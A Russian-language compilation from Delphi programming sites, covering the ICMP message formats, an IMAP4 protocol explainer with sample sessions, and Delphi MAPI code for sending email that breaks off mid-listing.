Шлюз или хост-компьютер может посылать сообщение о приостановке еще до достижения предельной пропускной способности, и не ждать, пока этот предел будет пройден. Это означает, что датаграмма с данными, вызвавшая появление сообщения о приостановке, все же может достичь своего адресата. И шлюз и хост-компьютер могут отправить сообщение с кодом 0.

Сообщение о переадресации

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
Internet адрес шлюза
Internet заголовок + 64 бита данных из исходной датаграммы

Поля IP заголовка
Заимствованы сеть и адрес отправителя из исходной датаграммы с данными.

Поля ICMP сообщения
Тип
5

Код0 - переадресация датаграмм для сети
1 - переадресация датаграмм для хост-компьютера
2 - переадресация датаграмм для типа услуг и сети
3 - переадресация датаграмм для типа услуг и хост-компьютера

Контрольная сумма
Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Internet адрес шлюза
Адрес шлюза, на который должен быть проложен маршрут к сети, указанной в поле адреса в исходной датаграмме с данными.

Internet заголовок + 64 бита данных из исходной датаграммы
Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исход ной датаграммы.

Описание
Шлюз посылает сообщение на хост-компьютер о переадресации в следующей ситуации: Шлюз G1 получает Internet датаграмму от хост-компьютера в сети, где он расположен. Шлюз G1 проверяет таблицу маршрутизации и находит адрес следующего шлюза G2 в качестве маршрута для датаграммы по пути в сеть X, где расположен ее адресат. Если G2 и исходный хост-компьютер идентифицируются Internet адресом как находящиеся в одной и той же сети, то на хост-компьютер следует послать сообщение о переадресации. Сообщение о переадресации заставляет хост-компьютер посылать датаграммы для сети X прямо на шлюз G2, поскольку это более короткий путь, нежели привлекать еще шлюз G1. Шлюз передает данные исходной датаграммы их адресату в системе Internet.

Для датаграмм с опциями IP маршрутизации отправления и адресом шлюза в поле получателя сообщение не посылается, даже если и существует более оптимальный маршрут к конечному адресату, чем следующий адрес, указанный в такой опции маршрута.

Шлюзом могут быть переданы сообщения с кодами 0, 1, 2 и 3.

Эхо-сообщение и сообщение в ответ на эхо

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
Идентификатор Номер очереди
Данные .....

Поля IP заголовка
Адреса
Адрес отправителя в эхо-сообщении будет адресом получателя в ответном сообщении. Чтобы сформировать сообщение ответа, следует просто переставить местами адреса отправителя и получателя, код типа изменить на 0 и пересчитать контрольную сумму.

Поля ICMP сообщения
Тип8 - эхо-сообщение
0 - сообщение в ответ на эхо

Код
0

Контрольная сумма
Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP.

При вычислении контрольной суммы это поле должно быть сперва обнулено. Если общая длина сообщения нечетная, то для вычисления контрольной суммы поле данных дополняется еще одним нулевым октетом. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор
Если код = 0, то идентификатор для соотнесения эхо-сообщений и ответов на них, должен быть обнулен.

Номер очереди
Если код = 0, то номер очереди, служащий для соотнесения эхо-сообщений и ответов на них, должен быть обнулен.

Описание
Данные из эхо-сообщения должны быть переданы в ответе на это сообщение.

Идентификатор и номер очереди может использоваться отправителем эхо-сообщения с целью идентификации приходящих пакетов. На пример, идентификатор может использоваться в качестве порта подобно протоколам TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу при посылке каждого эхо сообщения (запроса). Компьютер, отозвавшийся на это сообщение, возвращает в своем ответе те же значения для идентификатора и номера очереди, что были в исходном эхо-сообщении.

Как шлюз, так и хост-компьютер могут возвращать сообщение с кодом 0.

Сообщение со штампом времени и сообщение с ответом на штамп времени

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
Идентификатор Номер очереди
Штамп времени отправления
Штамп времени получения
Штамп времени передачи

Поля IP заголовка
Адреса

Адрес отправителя в сообщении со штампом времени будет адресом получателя в сообщении с ответом. Чтобы сформировать ответ на сообщение, следует просто поменять местами адреса отправителя и получателя, выбрать код типа 14, а также пересчитать контрольную сумму.
Поля ICMP сообщения
Тип13 для сообщения со штампом времени
14 для ответа на сообщение со штампом времени

Код
0

Контрольная сумма
Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP.

При вычислении контрольной суммы это поле должно быть сперва обнулено. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор
Если код = 0, то идентификатор, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен.

Номер очереди
Если код = 0, то номер очереди, служащий для соотнесения сообщений со штампом времени и ответов на них, должен быть обнулен.

Описание
Данные из сообщения (штамп времени) возвращаются вместе с ответом, при этом в них добавляется еще один штамп времени. Штамп времени - это 32 бита, где записано время в миллисекундах, прошедшее после полуночи по единому времени (UT). Один из примеров использования таких временных штампов приведен в документе.

Штамп времени отправления - это время, которое отправитель фиксировал последний раз перед посылкой сообщения. Штамп времени получения - это время, когда исходное сообщение впервые увидел получатель первоначального сообщения. Штамп времени передачи - это время, которое фиксировал в последний раз компьютер, отправляющий ответное сообщение.

Если нет возможности измерять время в миллисекундах или нельзя определить единое время (UT), то в штамп все же можно занести имеющееся время, снабдив его единицей в старшем бите. Последнее также указывает на запись нестандартного значения в этом поле.

Идентификатор и номер очереди могут использоваться отправителем для соотнесения сообщений (запросов) и ответов на них. На пример, идентификатор может использоваться в качестве порта, аналогично протоколам TCP и UDP, для идентификации сессии. Номер очереди может увеличиваться на единицу при каждой посылке сообщения (запроса). Адресат возвращает для этих параметров те значения, которые были обнаружены в запросе. И шлюз и хост-компьютер могут возвращать сообщения с кодом 0.

Запрос информации и ответное сообщение с информацией

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
Идентификатор Номер очереди

Поля IP заголовка
Адреса
Адрес отправителя в сообщении с запросом информации окажется адресом получателя в ответном сообщении с информацией. Чтобы сформировать ответное сообщение, следует просто поменять местами адреса отправителя и получателя, код типа сменить на 16, пересчитать контрольную сумму.

Поля ICMP сообщения
Тип15 - сообщение с запросом информации
16 - ответное сообщение с информацией

Код
0

Контрольная сумма
Контрольная сумма - это 16-битное дополнение до единицы суммы дополнений для ICMP сообщения, начиная с поля типа ICMP. При вычислении контрольной суммы следует предварительно обнулить поле самой контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Идентификатор
Если код = 0, то идентификатор, служащий для соотнесения запросов и ответов, может быть обнулен.

Номер очереди
Если код = 0, то номер очереди, служащий для соотнесения запросов и ответов, может быть обнулен.

Описание
Данное сообщение может быть послано, когда в IP заголовке в полях отправителя и получателя записаны нули (это означает "именно эту" локальную сеть). В ответ должен быть послан IP модуль с полностью заданными адресами. Данное сообщение является способом, с помощью которого хост-компьютер сможет определить номер сети, куда он подключен.

Отправитель сообщений может использовать идентификатор и номер очереди для соотнесения запросов и пришедших ответов. Например, идентификатор может использоваться как порт в протоколах TCP и UDP для идентификации сеанса. Номер очереди может увеличиваться на единицу всякий раз, когда посылается запрос. Адресат возвращает в ответе те же значения этих параметров, которые были обнаружены в запросе.

И хост-компьютер и шлюз могут возвращать сообщения с кодом 0.

Список типов сообщений:

0 ответ на запрос эхо
3 адресат недостижим
4 приостановка отправителя
5 переадресация
8 эхо-запрос
11 превышение контрольного времени
12 проблемы с параметрами
13 штамп времени
14 ответ на запрос штампа времени
15 запрос информации
16 ответ на запрос информации

Взято с http://delphiworld.narod.ru


Протокол IMAP4 (Internet Message Access Protocol)

Протокол IMAP4 (Internet Message Access Protocol) позволяет клиентам получать доступ и манипулировать сообщениями электронной почты на сервере. Существенным отличием протокола IMAP4 от протокола РОРЗ является то, что IMAP4 поддерживает работу с системой каталогов (или папок) удаленных сообщений так же, как если бы они располагались на локальном компьютере. IMAP4 позволяет клиенту создавать, удалять и переименовывать почтовые ящики, проверять наличие новых сообщений и удалять старые. Благодаря тому что IMAP4 поддерживает механизм уникальной идентификации каждого сообщения в почтовой папке клиента, он позволяет читать из почтового ящика только сообщения, удовлетворяющие определенным условиям или их части, менять атрибуты сообщений и перемещать отдельные сообщения. Структура папок в значительной степени зависит от типа почтовой системы, но в любой системе у клиента есть специальный каталог INBOX, куда попадают поступающие клиенту сообщения.

Принципы работы

Протокол IMAP4 работает поверх транспортного протокола, который обеспечивает надежный и достоверный канал передачи данных между клиентом, и сервером IMAP4. При работе по TCP, IMAP4 использует 143-й порт. Команды и данные IMAP4 передаются по транспортному протоколу в том виде, в каком их отправляет сервер или пользователь.

Принцип передачи данных IMAP4 такой же как и у других подобных протоколов. Сначала клиент и сервер обмениваются приветствиями. Затем клиент отправляет на сервер команды и данные. Сервер, соответственно, передает клиенту ответы на обработку команд и данных. После завершения обмена канал закрывается.

            +-------------------------------------------------+
            | установление соединения и приветствие  сервера  |
            +-------------------------------------------------+
                      || (1)       || (2)        || (3)
                      VV           ||            ||
            +-----------------+    ||            ||
            |не установленное |    ||            ||
            +-----------------+    ||            ||
             || (7)   || (4)       ||            ||
             ||       VV           VV            ||
             ||     +----------------+           ||
             ||     | установленное  |<=++       ||
             ||     +----------------+  ||       ||
             ||       || (7)   || (5)   || (6)   ||
             ||       ||       VV       ||       ||
             ||       ||    +--------+  ||       ||
             ||       ||    |выбора  |==++       ||
             ||       ||    +--------+           ||
             ||       ||       || (7)            ||
             VV       VV       VV                VV
            +--------------------------------------+
            | завершение сеанса и закрытие связи   |
            +--------------------------------------+

связь без установления подлинности (приветствие ОК)
связь перед регистрацией (приветствие PREAUTH)
отклоненная связь (приветствие BYE)
успешное выполнение команды LOGIN или AUTHENTICATE
успешное выполнение команды SELECT или EXAMINE
команда CLOSE, или не успешное выполнение команды SELECT или EXAMINE
команда LOGOUT, отключение сервера или прерывание связи
Если сервер использует таймер контроля времени соединения, он должен быть установлен не менее чем на 30-минутный промежуток "неактивности" клиента, т. е. если сервер в течение 30 минут получает хотя бы одну команду, таймер сбрасывается.

Весь обмен данными между клиентом и сервером организован в виде строк, завершающихся символами , либо в виде последовательности байт заданной длины. Каждая команда клиента начинается с идентификатора или тега команды. Тег, как правило, представляет собой короткую строку, состоящую из букв и цифр, (например, А0001,А0002 и т. д.). Тег является уникальным идентификатором данной команды клиента. Ответы сервера или следующие команды клиента могут ссылаться на данную команду по ее тегу.

Каждая команда клиента начинается с новой линии. В тех случаях, когда команда передает поток данных заданной длины или когда команда требует ответа с сервера, для того чтобы продолжить работу (например, при аутентификации), она может занимать несколько строк.

Строки данных, передаваемые с сервера в ответ на команду клиента, могут не содержать тег, а содержать символ "*". Это означает, что они являются промежуточными строками потока данных ответа, а идентификатор их команды содержится в последней строке потока. В такой поток данных не может вклиниться другая команда.

Если сервер обнаружил ошибку в команде, он отправляет уведомление BAD клиенту с тегом неправильной команды. Если команда успешно обработана - возвращается уведомление ОК с тегом команды. Если команда вернула отрицательный результат, например, в случае невозможности выполнить данную команду - возвращается уведомление NO с тегом невыполненной команды.

Важной особенностью протокола IMAP является то, что взаимодействие клиента сервером не строится по принципу "запрос-ответ", в котором каждая из сторон "ходит" по очереди. Клиент может отправить новую команду на сервера дожидаясь ответа на предыдущую, естественно, когда эти команды не взаимосвязаны или ответ одной не повлияет на результат другой. Сервер моет обрабатывать несколько команд одновременно и отвечать на каждую из них по ее окончанию. При этом ответ на более позднюю команду может поступить раньше, поэтому ответ сервера всегда содержит тег той команды, к которой он относится.

Для работы в таком режиме, клиент и сервер должны фиксировать весь поток данных обмена, поскольку как сервер так и клиент в своих запросах и ответах мог ссылаться на команды и данные, введенные на предыдущих стадиях сессии обмена. Для того чтобы обеспечить гибкость и многофункциональность операции работы сообщениями, почтовые системы IMAP присваивают сообщениям определенные атрибуты. Атрибуты сообщений системы IMAP

Каждое общение в почтовой системе для работы с IMAP имеет уникальный идетификатор, по которому можно получить доступ к этому сообщению. УНИКАЛЬНЫЙ идентификатор UID представляет собой 32-битное число, которое идентифицирует сообщение в данной папке. Каждому сообщению, попавшему папку, присваивается максимальное число из UID-сообщении попавших данную папку ранее. Уникальные идентификаторы сообщении сохраняются от сессии к сессии и могут использоваться, например, для синхронизации каталогов мобильных пользователей.

Каждая пара в системе также имеет уникальный действительный идентификатор (IDVALIDITY). Вместе с UID-сообщение эта пара образует 64-битное чию, идентифицирующее каждое сообщение. Если UID-сообщение сохраняет постоянным, то UIDVALIDITY данной папки в текущей сессии должен быть больше, чем в предыдущей сессии.

Кроме уникального идентификатора, сообщение в системе IMAP имеет порядковый номер, т.е. все сообщения в данном почтовом ящике последовательно нумеруются. Если в почтовый ящик добавляется новое сообщение, ему присваивается номер на I больше количества сообщений в почтовое ящике. При удалении какого-либо сообщения из данной папки порядковые номера всех сообщений пересчитываются, поэтому порядковый номер сообщения может меняться во время сессии, Большинство команд IMAP4 работают с порядковыми номерами сообщений, а не с UID.

Помимо числовых идентификаторов, сообщениям назначаются флаги. Одни флаги могут быть действительны для данного сообщения постоянно от сессии к сессии, другие - только в данной сессия. Наиболее употребительные из них:

"\Seen" - обозначает, что данное сообщение было прочитано
"\Answered" - на сообщение был дан ответ
"\Deleted" - сообщение помечено на удаление
"\Draft" - формирование данного сообщения еще не завершено
"\Recent" - сообщение "только что" поступило в почтовый ящик, т. е. данная сессия - первая, которая может прочитать это сообщение.
"\Recent" - пример флага, который не сохранится в следующей сессии.
Кроме того, на сервере IMAP хранятся дата и время получения сообщения сервером. Например, если сообщение получено по SMTP, то фиксируется дата и время доставки по адресу назначения, общий размер сообщения, структура сообщения (MIМЕ-структура).

Основные команды

Как уже было отмечено, IMAP4 - гибкий и многофункциональный протокол с широкими возможностями. Он обслуживает более 20 различных команд клиента по управлению состоянием своей почты. Далее будут описаны только некоторые из клиентских команд, и на примерах их обработки показана общая схема взаимодействия клиента и сервера IMAP4.

Команда LOGIN. После того как по транспортному протоколу (например, TCP), было установлено соединение, и от сервера пришла строка приветствия, клиент должен зарегистрироваться в системе. Для этого чаще всего используется команда LOGIN. Аргументом команды является строка с идентификатором и паролем клиента:

S: * OK IMAP4 revl Service Ready
С: aOOl login ali sesam
S; aOOl OK LOGIN completed

Команда LOGIN передает пароль и идентификатор пользователя по сети в открытом виде. Если пользователю необходима защита информации своей почты, он может пользоваться командой AUTHENTICATE. Аргументом команды является строка, указывающая механизм аутентификации, которым желает воспользоваться данный пользователь. В зависимости от выбранного типа аутентификации строится дальнейший обмен между сервером и клиентом. Например, при использовании механизма шифрования KERBEROS, аутентификация выглядит следующим образом:

S: * OK KerberosV4 IMAP4revl Server
С: АО 01 AUTHENTICATE KERBEROS_V4
S: + AmFYig==
C: BAcAQrJ5EUkVXLkNNVS5FRFUAOCAsho84kLN3/IJmrMG+25a4DT
+nZIiriJjnTNHJUtxAA+oOKPKfHEcAFs9a3CL50ebe/ydHJUwYFd
WwuQlMWiy6IesKvjL5rL9WjXUb9MwT9bpObYLGOKilQh
S: + or//EoAADZI=
C: DiAF5MgA+oOIALuBkAAmw==
S: A001 OK Kerberos V4 authentication successful

После регистрации в системе клиент должен выбрать каталог (папку) сообщений, с которым он будет работать. Выбор каталога осуществляется командой SELECT. Аргументом команды является имя почтового каталога:

С А142 SELECT INBOX
S * 172 EXISTS
S * 1 RECENT
S * OK [UNSEEN 12) Message 12 is first unseen
S * OK [UIDVALIDITY 3857529045] UIDs valid
S * FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
S * OK [PERMANENTFLAGS (\Deleted \Seen \*)] Limited
S A142 OK [READ-WRITE] SELECT completed

Сервер 1МАР4, прежде чем подтвердить завершение обработки команды, передает клиенту атрибуты данного каталога. В показанном выше примере:

В папке "INBOX" - 172 сообщения (строка "* 172 EXISTS")
Из них одно только что поступившее (строка "* 1 RECENT").
В папке есть непрочитанные сообщения, минимальный порядковый номер непрочитанного сообщения - 12 (строка "* OK [UNSEEN 12] Message 12 is first unseen"),
Уникальный временный идентификатор папки INBOX в данной сессии - 3857529045 (строка "* OK [UIDVAL1DITY 3857529045] UIDs valid").
Сообщения в данной папке могут иметь флаги, указанные в строке FLAGS (строка "* FLAGS (\Answered \Flageed VDeleted N^" \Draft)").
Клиент может менять у сообщений флаги "\Deleted" и "\Seen" (строка "* OK [PERMANENTFLAGS (\Deleted \Seen \*)] Limited ").
Клиент имеет права на запись и чтение сообщений из INBOX (строка "А142 OK [READ-WRITE] SELECT completed").
Команда SELECT устанавливает текущий каталог для работы клиента. Если пользователю необходимо получить информацию о состоянии какого-либо каталога, достаточно воспользоваться командой EXAMINE с именем каталога в качестве аргумента команды, например:

С: А932 EXAMINE bloop
S: * 17 EXISTS
...

Команда EXAMINE возвращает те же параметры, что и команда SELECT, а отличается от команды SELECT только тем, что открывает заданный почтовый ящик исключительно на чтение.
Если необходимо запросить статус какой-либо папки, не меняя текущий каталог, можно воспользоваться командой STATUS. В качестве параметров данной команде придаются: имя папки и тип запрашиваемой информации. В зависимости от указанного типа, команда может возвращать: количество сообщений в папке, количество новых сообщении количество непрочитанных сообщений, UIDVALIDITY каталога, UID следующего сообщения, которое будет добавлено в данную папку, например:

<>ttС: Д042 STATUS blob (MESSAGES UNSEEN)
S: * STATUS blob (MESSAGES 231 UNSEEN 12)
S: A042 OK STATUS completed

Чтобы получить список папок (подкаталогов), находящихся в определенной папке и доступных клиенту, можно воспользоваться командой LIST. Аргументами команды являются: имя каталога, список подкаталогов который хотим получить (пустая строка - "" означает текущий каталог) и маска имен подкаталогов. Имена каталогов и маски имен подкаталогов могут интерпритироваться по-разному, в зависимости от реализации почтовой системы и структуры описания иерархии папок. Например, список папок, находящихся в корне, можно получить так:

С: А004 LIST "/" *
S: * LIST (\Noinferiors ) "/" INBOX
S: * LIST (\Noinferiors ) "/" OUTBOX
S: * LIST (\Noinferiors ) "/".. WasteBox
S: A004 OK LIST completed

Ответ сервера содержит список папок в соответствии с их положением в иерархии и флаги данных папок (флаг "\Noinferiors" означает, что внутри данной папки нет и не может быть построена иерархия).

После получения информации на каталог, пользователь может прочитать любое сообщение или определенную группу сообщении, часть сообщения или определенные атрибуты сообщения. Для этого используется команда FETCH. Аргументами данной команды являются порядковый номер сообщения и критерии запроса. Критерии содержат описание вида возвращаемой информации. Например, можно запросить часта заголовков или UID-сообщений в папке, или сообщения, имеющие или не имеющие определенные флаги. Так запрос заголовков сообщений, находящихся в INBOX с порядковыми номерами от 10 до 12, будет выглядеть так:

С: А654 FETCH 10:12 BODY [HEADER]
S: * 10 FETCH (BODY [HEADER] {350}
S: Date: Wed, 17 Jul 1996 02:23:25 -0700 (PDTl
S: From: raan@globe.com
S: Subject: Hi
S: To: imap@world.edu
S: Message-Id:
S^ mime-Vresion: 1.0
S: Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
S:
S: )
S: *11 FETCH ....
S: *12 FETCH ....
S: A654 OK FETCH completed

После просмотра сообщения, пользователь может сохранить его с другими флагами, добавить или удалить флаги сообщения ( пометить данное сообщение на удаление). Для этого используется команда STORE. Аргументами команды являются: номера сообщений, идентификатор операции и перечень флагов. Например, операция добавления флага удаления ("\Dеleted") трем сообщениям выглядит следующим образом:

С: АОО3 SТОRЕ 2:4 +FLAGS (\DELETED)
S: *2 FETCH FLAGS (\Deleted \ Seen)
S: *3 FETCH FLAGS (\Deleted )
S: *4 FETCH FLAGS (\Deleted \Flagged \Seen)
S: A003 OK STORE completed

Ответом на выполнение команды будут переданы строки новых флагов указанных сообщений.

Пользователь также может организовать поиск сообщений по определенным критериям. Для этого используется команда SEARCH. Критерий поиска состоит из комбинации нескольких условий поиска, а результатом поиска будет множество сообщений, находящихся в пересеченных условий. Условия могут налагаться на состав, структуру тела или заголовка сообщений, а также на флаги, размер, идентификатор периоды дат сообщений. Результатом работы команды является строка, состоящая из последовательных номеров сообщений, удовлетворяющих критерию поиска. Например, поиск всех непрочитанных сообщений, поступивших от "smith" с 1-03-96 будет выглядеть так:

C: A282 SEARCH UNSEEN FROM 'Smith" SINCE 1-Mar-1996
S: * SEARCH 2 84 882
S: A282 OK SEARCH completed

Результатом поиска будут сообщения с последовательными номерами 2, 84 и 882. * IMAP4 позволяет не только искать и читать сообщения в каталогах, этот протокол позволяет добавлять, копировать и перемещать сообщения в каталоги. Добавление сообщения в папку можно осуществить командой APPEND:

C: A003 APPENDSAVED-MESSAGES (\Seen) {310}
C: Date: Mon, 7 Feb 1997 21:52:25 - 0800 {PST}
C: From: Fred Foobar
C: Subject: aftenoon meeteng
C: TO: mooch@owatagu.siam.edu
C: Message-Id:
C: Mime-Version: 1.0
C: Content-Type: Text/PLAIN; CHARSET=US-ASCII
C:
C: Hello Joe, do you think we can meet at 3:30 tomorrow?
C:
S: A003 OK APPEND completed

Команда COPY копирует сообщения с заданными порядковыми номерами в указанный каталог, например:

C: A003 COPY 2:4 MEETENG
S: A003 OK COPY completed

Взято с http://delphiworld.narod.ru


Работа с Email

Cодержание раздела:

Как отправить Email? Updated!
· Вызвать почтовую программу по умолчанию с заполненными полями
· Использовать MAPI
· Использовать SMTP
· Использовать COM интерфейс Outlook
· Писать свой SMTP Relay сервер

Проверка правильности E-mail адреса
Найти smtp mailserver по умолчанию?
Как получить имена установленных почтовых клиентов? New!
Технологии взлома Email New!

См. также статьи в других разделах:
Как конвертировать RFC дату и обратно?


Как отправить Email?

Cущствуют следующие возможности:

1) Вызвать почтовую программу по умолчанию с заполненными полями - не позволяет автоматизировать работу, не позволяет постать письмо с аттачментом, но исключительно удобно в окнах About.

2) Использовать MAPI - несколько устаревший способ, но вполне работоспособный

3) Использовать SMTP - там все просто, однако посыка не напрямую, требуется наличие SMTP сервера, например сервера провайдера.

4) Использовать COM интерфейс Outlook - там тоже все просто, но нужно наличие установленного и полностью подключенного Outlook

5) Писать свой SMTP Relay сервер и отсылать email напрямую, минуя любые сервера. Для Дельфи6/Дельфи7/Kylix3 можно использовать компоненты Indy (входят в поставку Дельфи) - пример внизу, а так же можно использовать для любых версий Delphi/Kylix компоненты из пакета ICS - Internet component suite.

Вот ещё вариант: Send e-mails via WinSock API? New!

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Работа через MAPI

Работа через MAPI

Пример с delphi.mastak.ru мне понравился(который нашел Song), я решил его сюда скопировать, может кому понадобится:

unit Email;

interface

uses Windows, SusUtils, Classes;

function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
function IsOnline: Boolean;

implementation

uses Mapi;

function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
var
MapiMessage: TMapiMessage;
MapiFileDesc: TMapiFileDesc;
MapiRecipDesc: TMapiRecipDesc;
i: integer;
s: string;
begin
with MapiRecipDesc do
begin
ulResved:= 0;
ulRecipClass:= MAPI_TO;
lpszName:= PChar(RecipName);
lpszAddress:= PChar(RecipAddress);
ulEIDSize:= 0;
lpEntryID:= nil;
  end;
with MapiFileDesc do
begin
ulReserved:= 0;
flFlags:= 0;
nPosition:= 0;
lpszPathName:= PChar(Attachment);
lpszFileName:= nil;
lpFileType:= nil;
end;
with MapiMessage do
begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
  if length(Attachment) > 0 then
    begin
      nFileCount:= 1;
      lpFiles := @MapiFileDesc;
    end
  else
    begin
      nFileCount:= 0;
      lpFiles:= nil;
    end;
end;
Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;

function IsOnline: Boolean;
var
RASConn: TRASConn;
dwSize,dwCount: DWORD;
begin
RASConns.dwSize:= SizeOf(TRASConn);
dwSize:= SizeOf(RASConns);
Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result:= (Res = 0) and (dwCount > 0);
end;

end.

Взято с Vingrad.ru http://forum.vingrad.ru

Автор: Sven Lohmann
Обычно в программах используется два способа отправки email. Первый - это "ShellExecute", а второй - через OLE server, как в Delphi 5. Однако, предлагаю посмотреть, как эта задача решается посредствам MAPI.
Совместимость: Delphi 4.x (или выше)

unit MapiControl;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  { Вводим новый тип события для получения Errorcode }
  TMapiErrEvent = procedure(Sender: TObject; ErrCode: Integer) of object;

  TMapiControl = class(TComponent)
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  private
    { Private-объявления }
    FSubject: string;
    FMailtext: string;
    FFromName: string;
    FFromAdress: string;
    FTOAdr: TStrings;
    FCCAdr: TStrings;
    FBCCAdr: TStrings;
    FAttachedFileName: TStrings;
    FDisplayFileName: TStrings;
    FShowDialog: Boolean;
    FUseAppHandle: Boolean;
    { Error Events: }
    FOnUserAbort: TNotifyEvent;
    FOnMapiError: TMapiErrEvent;
    FOnSuccess: TNotifyEvent;
    { +> Изменения, внесённые Eugene Mayevski [mailto:Mayevski@eldos.org]}
    procedure SetToAddr(newValue : TStrings);
    procedure SetCCAddr(newValue : TStrings);
    procedure SetBCCAddr(newValue : TStrings);
    procedure SetAttachedFileName(newValue : TStrings);
    { +< конец изменений }
  protected
    { Protected-объявления }
  public
    { Public-объявления }
    ApplicationHandle: THandle;
    procedure Sendmail();
    procedure Reset();
  published
    { Published-объявления }
    property Subject: string read FSubject write FSubject;
    property Body: string read FMailText write FMailText;
    property FromName: string read FFromName write FFromName;
    property FromAdress: string read FFromAdress write FFromAdress;
    property Recipients: TStrings read FTOAdr write SetTOAddr;
    property CopyTo: TStrings read FCCAdr write SetCCAddr;
    property BlindCopyTo: TStrings read FBCCAdr write SetBCCAddr;
    property AttachedFiles: TStrings read FAttachedFileName write SetAttachedFileName;
    property DisplayFileName: TStrings read FDisplayFileName;
    property ShowDialog: Boolean read FShowDialog write FShowDialog;
    property UseAppHandle: Boolean read FUseAppHandle write FUseAppHandle;

    { события: }
    property OnUserAbort: TNotifyEvent read FOnUserAbort write FOnUserAbort;
    property OnMapiError: TMapiErrEvent read FOnMapiError write FOnMapiError;
    property OnSuccess: TNotifyEvent read FOnSuccess write FOnSuccess;
  end;

procedure Register;

implementation

uses Mapi;

{ регистрируем компонент: }
procedure Register;
begin
  RegisterComponents('expectIT', [TMapiControl]);
end;

{ TMapiControl }

constructor TMapiControl.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FOnUserAbort := nil;
  FOnMapiError := nil;
  FOnSuccess := nil;
  FSubject := '';
  FMailtext := '';
  FFromName := '';
  FFromAdress := '';
  FTOAdr := TStringList.Create;
  FCCAdr := TStringList.Create;
  FBCCAdr := TStringList.Create;
  FAttachedFileName := TStringList.Create;
  FDisplayFileName := TStringList.Create;
  FShowDialog := False;
  ApplicationHandle := Application.Handle;
end;

{ +> Изменения, внесённые Eugene Mayevski [mailto:Mayevski@eldos.org]}
procedure TMapiControl.SetToAddr(newValue : TStrings);
begin
  FToAdr.Assign(newValue);
end;

procedure TMapiControl.SetCCAddr(newValue : TStrings);
begin
  FCCAdr.Assign(newValue);
end;

procedure TMapiControl.SetBCCAddr(newValue : TStrings);
begin
  FBCCAdr.Assign(newValue);
end;

procedure TMapiControl.SetAttachedFileName(newValue : TStrings);
begin
  FAttachedFileName.Assign(newValue);
end;
{ +< конец изменений }

destructor TMapiControl.Destroy;
begin
  FTOAdr.Free;
  FCCAdr.Free;
  FBCCAdr.Free;
  FAttachedFileName.Free;
  FDisplayFileName.Free;
  inherited destroy;
end;

{ Сбрасываем все используемые поля}
procedure TMapiControl.Reset;
begin
  FSubject := '';
  FMailtext := '';
  FFromName := '';
  FFromAdress := '';
  FTOAdr.Clear;
  FCCAdr.Clear;
  FBCCAdr.Clear;
  FAttachedFileName.Clear;
  FDisplayFileName.Clear;
end;

{  Эта процедура составляет и отправляет Email }
procedure TMapiControl.Sendmail;
var
  MapiMessage: TMapiMessage;
  MError: Cardinal;
  Sender: TMapiRecipDesc;
  PRecip, Recipients: PMapiRecipDesc;
  PFiles, Attachments: PMapiFileDesc;
  i: Integer;
  AppHandle: THandle;
begin
  { Перво-наперво сохраняем Handle приложения, if not
    the Component might fail to send the Email or
    your calling Program gets locked up. }
  AppHandle := Application.Handle;

  { Нам нужно зарезервировать память для всех получателей }
  MapiMessage.nRecipCount := FTOAdr.Count + FCCAdr.Count + FBCCAdr.Count;
  GetMem(Recipients, MapiMessage.nRecipCount * sizeof(TMapiRecipDesc));

  try
    with MapiMessage do
    begin
      ulReserved := 0;
      { Устанавливаем поле Subject: }
      lpszSubject := PChar(Self.FSubject);

      { ...  Body: }
      lpszNoteText := PChar(FMailText);

      lpszMessageType := nil;
      lpszDateReceived := nil;
      lpszConversationID := nil;
      flFlags := 0;

      { и отправителя: (MAPI_ORIG) }
      Sender.ulReserved := 0;
      Sender.ulRecipClass := MAPI_ORIG;
      Sender.lpszName := PChar(FromName);
      Sender.lpszAddress := PChar(FromAdress);
      Sender.ulEIDSize := 0;
      Sender.lpEntryID := nil;
      lpOriginator := @Sender;

      PRecip := Recipients;

      { У нас много получателей письма: (MAPI_TO)
        установим для каждого: }
      if nRecipCount > 0 then
      begin
        for i := 1 to FTOAdr.Count do
        begin
          PRecip^.ulReserved := 0;
